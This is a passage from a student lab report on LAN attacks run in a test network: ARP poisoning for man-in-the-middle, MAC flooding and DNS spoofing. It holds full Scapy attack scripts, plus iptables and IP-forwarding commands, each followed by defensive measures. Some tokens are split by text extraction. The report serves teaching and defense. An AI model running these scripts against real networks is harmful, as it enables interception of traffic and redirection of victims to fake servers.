We created fake ARP Reply messages indicating that the default gateway IP Address was located at our
MAC Address, and we sent those messages to the victim host. In this way, the victim believed that we were
the default gateway. We also created fake ARP Reply messages indicating that the victim IP Address was
located at our MAC Address, and we sent those messages to the default gateway. By this way, the default
gateway believed that we were the victim host. In this way we made a man in the middle attack and we
were able to sniff all the traffic from and to the victim host (for example the HTTP traffic).
The scapy script we used for generating ARP Packets is the following:
• SCAPY SCRIPT:
#! /usr/bin/env from scapy.all import *; sourceMac = "08:00:27:cc:c2:3d"; #targetMac = "08:00:27:3e:98:80"; targetMac ="08:00:27:3e:98:80"; sourceIP = "192.168.134.1"; #fake IP targetIP = "192.168.134.101"; arp_pois = Ether(dst=targetMac, src=sourceMac) / AR P(op=2, hwsrc=sourceMac, psrc=sourceIP, hwdst=targetMac, pd st=targetIP); #srploop(arp_pois); while 1: sendp(arp_pois);
SCAPY SCRIPT FOR POISONING VICTIM ARP TABLE
#! /usr/bin/env from scapy.all import *; sourceMac = "08:00:27:cc:c2:3d"; #targetMac = "08:00:27:3e:98:80"; targetMac ="08:00:27:0a:54:b1";
Giuliani Carlo - 620741 Montini Nicola - 621802
23
sourceIP = "192.168.134.101"; #fake IP targetIP = "192.168.134.1"; arp_pois = Ether(dst=targetMac, src=sourceMac) / AR P(op=2, hwsrc=sourceMac, psrc=sourceIP, hwdst=targetMac, pd st=targetIP); #srploop(arp_pois); while 1: sendp(arp_pois);
SCAPY SCRIPT FOR POISONING ROUTER ARP TABLE
Finally, we have to foward all packets incoming from and to the victim to the real destination. To do this, we
have to set the IP foward into the attacker host with the following command:
echo 1 > /proc/sys/net/ipv4/ip_forward
WIRESHARK FILTER: arp.opcode == 2
FIGURE 7 - ARP POISONING: WE ARE TELLING THE ROUTER THAT THE VICTIM IP IS LOCATED AT OUR MAC ADDRESS
MEASUREMENTS:A possible defense against ARP poisoning is using static entries in the ARP cache. Static
entries cannot be updated by ARP replies and can be changed only manually by the system administrator.
Such an approach however is not viable for networks with hundreds of hosts because those entries must be
inserted manually on each host. the only other defense that will not modify ARP behavior is detection. IDS
and personal firewalls usually notice the ARP switch and warn the user that the entry in the cache is
changed.
Giuliani Carlo - 620741 Montini Nicola - 621802
24
2.8.2 MAC Flooding
ATTACKER: BackTrack host;
VICTIM: the switch to which we are connected
Not only stations maintain and use an ARP-table, but also the switches. They need these tables in order to
be able to transfer the traffic to the right port which has in its back the right MAC-Address or MAC-
Addresses of the station or stations connected to this corresponding port. In case a switch receives too
many messages over one port, the switch cannot transfer them to the right ports with the speed they are
coming. In that case the messages will be broadcasted to all ports. This means the switch degrades itself
into a hub. An attacker connected to arbitrary port of the switch will be able to receive all the messages
which are exchanged within the subnet.
The script we use to generate packets and to flood the switch is the following:
• SCAPY SCRIPT:
#! /usr/bin/env from scapy.all import *; randomMac = RandMAC(); targetMac = "08:00:27:0a:54:b1"; sourceIP = RandIP(); targetIP = "192.168.134.1"; flooding = Ether(dst=targetMac, src=randomMac) / AR P(op=2, hwsrc=randomMac, psrc=sourceIP, hwdst=targetMac, pd st=targetIP); while 1: sendp(flooding);
WIRESHARK FILTER: arp.opcode == 2
FIGURE 8 - MAC FLOODING: WIRESHARK FROM THE ATTACKER HOST
This attack doesn't work, because Vyatta MAC table is too large and it would take too long to fill it. Even if
we fill the table, Vyatta behavior is not the standard switch behavior: once the MAC table is full, Vyatta will
discard any incoming packet.
MEASUREMENTS: We can fix this attack by setting a threshold to the number of client that can connect to a
switch port.
Giuliani Carlo - 620741 Montini Nicola - 621802
25
2.8.3 DNS Spoofing
ATTACKER: BackTrack host;
VICTIM: a Windows client in our subnet (host 192.168.134.101);
First we perform a man in the middle as described in paragraph 2.8.1. Then we wait for a DNS Query from
the victim host and we respond with a fake DNS Answer, thereby connecting the victim to a fake web server
under our control.
After making the ARP Poisoning as described in paragraph 2.8.1, we set a rule in the iptables of the attacker
host in order to drop DNS Queries coming from the victim. To do this, we use the following command on the
attacker host:
iptables -A FORWARD -p udp -d 192.168.134.101 --spo rt 53 -j DROP
After that, we use the following scapy script for waiting for a DNS Query from the victim and then
answering with a fake DNS Answer:
• SCAPY SCRIPT:
>>>#! /usr/bin/env >>>from scapy.all import *; >>>target = "192.168.134.101"; >>>fake_server = "192.168.133.101"; >>>while 1: >>>packet = sniff(count=1, filter="udp and host 1 92.168.134.101 and port 53"); >>>for i in packet: >>>sourcePort = i[UDP].sport; >>>msg_id = i[DNS].id; >>>dns_ip = i[IP].dst; >>>queried_name = i[DNS].qd.qname; >>>queried_type = i[DNS].qd.qtype; >>>queried_class = i[DNS].qd.qclass; >>>fake_answer = IP(dst=target, src=dns_ip) / UDP (dport = sourcePort, sport = 53) / DNS(id=msg_id, qr=1, opco de=0, aa=0, tc=0, rd=1, ra=1, z=0, rcode=0, qdcount=1, ancount=1, qd=DNSQR(qname=queried_name, qtype=queried_type, qclass=queried_class), an=DNSRR(rrname=queried_name , type="A", rclass="IN", ttl=71943, rdlen=4, rdata=fake_server) ); >>>send(fake_answer);
WIRESHARK FILTER: dns (for viewing dns queries and answers)
Giuliani Carlo - 620741 Montini Nicola - 621802
26
We can see from the following screenshot that the victim connects to our fake web server:
MEASUREMENTS: Typically, you will never know that your DNS is being spoofed until it happened. What
you get is a webpage that is different than what you are expecting. There are still a few things that can be
done to defend against these types of attacks:
• Secure your internal machines: Attacks like these are most commonly executed from inside the
network. If your network devices are secure then there is less of a chance of those compromised
hosts being used to launch a spoofing attack.
• Don’t rely on DNS for secure systems: On highly sensitive and secure systems that you typically
won’t be browsing the Internet on its often a best practice to not use DNS. If you have software that
relies on hostnames to function then those can be specified manually in the devices hosts file.
• Use IDS: An intrusion detection system, when placed and deployed correctly, can typically pick up
on most forms of ARP cache poisoning and DNS spoofing.
• Use DNSSEC: DNSSEC is a newer alternative to DNS that uses digitally signed DNS records to ensure
the validity of a query response. DNSSEC is not yet in wide deployment but has been widely
accepted as “the future of DNS”.
DNS Query from
the victim
Our fake DNS
Answer
Website on which we
have asked to connect
Giuliani Carlo - 620741 Montini Nicola - 621802
27
3 NETWORK USED FOR THE ATTACKS